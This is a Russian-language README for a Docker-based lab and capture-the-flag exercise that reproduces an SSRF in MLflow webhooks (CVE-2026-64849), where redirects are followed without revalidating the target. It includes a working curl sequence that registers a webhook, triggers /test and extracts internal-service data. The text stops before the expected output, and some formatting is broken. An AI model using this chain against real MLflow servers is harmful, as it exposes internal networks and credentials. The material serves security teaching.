
Эта лаборатория может работать как следует или нет, спроси у ИИ. Я тестирую, но должно работать, хахаха.
CVE-2026-64849 · MLflow < 3.15.0 · Server-Side Request Forgery (SSRF)
Практическая лаборатория, воспроизводящая CVE-2026-64849: уязвимость
типа SSRF в MLflow, вызванная дефектом TOCTOU (Time-of-Check /
Time-of-Use) при обработке вебхуков. MLflow проверяет исходный URL
вебхука, но следует HTTP-редиректам (302) без повторной проверки
конечного адреса, что позволяет неаутентифицированному атакующему получить
доступ к внутренним сервисам, к которым у него не должно быть доступа
(internal-service:8888).
Ограничение использования: лабораторный материал, только для авторизованных сетей и сред. См. Правовое уведомление.
| Атрибут | Значение |
|---|---|
| Уязвимость | CVE-2026-64849 — SSRF через обход редиректа вебхука |
| Затронутый компонент | MLflow Tracking Server (< 3.15.0) |
| Версия лаборатории | MLflow 3.13.0 (без изменений, через pip install) |
| Корневая причина | TOCTOU: проверяет URL, следует за 302 без повторной проверки |
| Вектор | HTTP; без аутентификации |
| Заявленная критичность | КРИТИЧЕСКАЯ (CVSS 9.3) — согласно баннеру эксплойта лаборатории |
| Результат | Доступ к внутренним сервисам, кража учётных данных, сканирование портов |
| Расчётное время | 15–20 минут |
| Уровень | Средний (Безопасность веб-приложений / Наступательная безопасность) |
MLflow позволяет регистрировать вебхуки, которые запускают HTTP-запросы при событиях (данные моделей, эксперименты и т. д.). Перед сохранением URL применяется проверка (схема, частные IP-адреса, IP-метаданные). Сбой происходит потому, что:
3xx, библиотека
requests автоматически следует за редиректом и никогда не проверяет
повторно конечный URL.Атакующий контролирует первый переход (сервер, отвечающий 302 на
внутренний сервис), а MLflow выступает в роли прокси во внутреннюю сеть.
Полный технический анализ см. в EXPLOITATION_GUIDE.md §6.
По завершении лаборатории студент сможет:
/test и
эксфильтрация внутреннего сервиса.Аудитория: студенты и специалисты по наступательной безопасности, пентестеры, аудиторы безопасности приложений и разработчики, использующие MLflow.
Требования к программному обеспечению:
| Инструмент | Минимальная версия |
|---|---|
| Docker + Docker Compose | Docker 20.x / Compose v2 |
curl | — |
jq | 1.6+ |
bash | — |
Учётные данные и аутентификация в MLflow не требуются (атака неаутентифицированная). Доступ к внутренней сети не нужен: лаборатория предоставляет её.
хост внутренняя сеть Docker (lab_network)
┌──────────────────────────────┐ ┌────────────────────────────────────────────────┐
│ атакующий (curl / bash) │ │ │
│ │ │ │ mlflow-vulnerable attacker_server │
│ ▼ │ │ (5000, MLflow 3.13.0) (8080, ответчик 302) │
│ http://localhost:5000 │ │ │ URL вебхука ▲ │
│ http://localhost:8080 │ │ ▼───────────────────────┘ │
│ http://localhost:8888 ✗ │ │ │ 302 Location: internal-service │
│ │ │ ▼ (SSRF, следует за редиректом) │
│ │ │ internal-service (8888) ← БЕЗ портов на │
│ │ │ "/admin/secret" хост │
│ │ └───────────────────────────────────────────────┘
└──────────────────────────────┘
| Компонент | Порт | Роль в лаборатории | Изменён? |
|---|---|---|---|
mlflow-vulnerable | 5000 | Жертва / уязвимый клиент (MLflow 3.13.0 stock) | Нет |
attacker-server | 8080 | Сервер атакующего: /webhook → 302, /redirect?url=, /metadata, дашборд | Только do_HEAD |
internal-service | 8888 | Жертва в lab_network; /admin/secret и /api/internal/config | Нет |
Деталь целостности: уязвимый сервис и внутренний сервис не были изменены. См. EXPLOITATION_GUIDE.md §14.
cd mlflow-ssrf-lab
bash run_lab.sh start # поднимает 3 контейнера и ожидает MLflow
bash run_lab.sh exploit # эксплуатирует автоматически (SSRF → флаг Уровня 1)
Пошаговая демонстрация (интерактивное меню):
bash manual_exploitation_interactive.sh
🏁 Режим CTF (РУЧНОЕ решение): лаборатория — это задание по уровням.
Каждый флаг оставляет подсказку для следующего уровня, поэтому достижение
каждого флага «имеет смысл». И смысл в том, чтобы сделать это вручную:
ctf_lab.sh не эксплуатирует за вас, он только направляет и проверяет ваш
флаг:
bash ctf_lab.sh # интерактивное меню CTF
bash ctf_lab.sh nivel 1 # инструкции + подсказка уровня (команды для ВЫПОЛНЕНИЯ ВРУЧНУЮ)
bash ctf_lab.sh flag '<flag>' # проверить флаг, который вы эксфильтровали и декодировали (+очки)
bash ctf_lab.sh status # завершённые уровни + счёт (235 очков, без показа флагов)
bash ctf_lab.sh hint 2 # подсказка уровня
bash ctf_lab.sh reset # очистить прогресс
Справочник по скрипту run_lab.sh:
bash run_lab.sh start # start (по умолчанию) + статус конечной точки
bash run_lab.sh exploit # выполняет exploit.py внутри контейнера mlflow
bash run_lab.sh manual # показывает пошаговые команды curl
bash run_lab.sh logs # следит за логами в реальном времени
bash run_lab.sh stop # останавливает контейнеры
bash run_lab.sh clean # останавливает и удаляет данные лаборатории
Все вызовы
/testтребуют заголовокContent-Type: application/json; без него MLflow 3.13 отвечает400 Bad Request.
# 1. Создать вебхук, указывающий на сервер атакующего (редирект на корень внутреннего портала, Уровень 1)
WEBHOOK_ID=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/webhooks \
-H "Content-Type: application/json" \
-d '{"name":"ssrf_test","url":"http://attacker_server:8080/webhook","events":[{"entity":"MODEL_VERSION","action":"CREATED"}]}' \
| jq -r '.webhook.webhook_id')
# 2. Запустить /test → MLflow проверяет URL, следует за 302 до внутреннего сервиса
curl -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}'
# 3. Извлечь эксфильтрованные данные (вложены в result.response_body)
curl -s -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}' \
| jq -r '.result.response_body | fromjson'
Ожидаемый результат шага 3 (Уровень 1 CTF):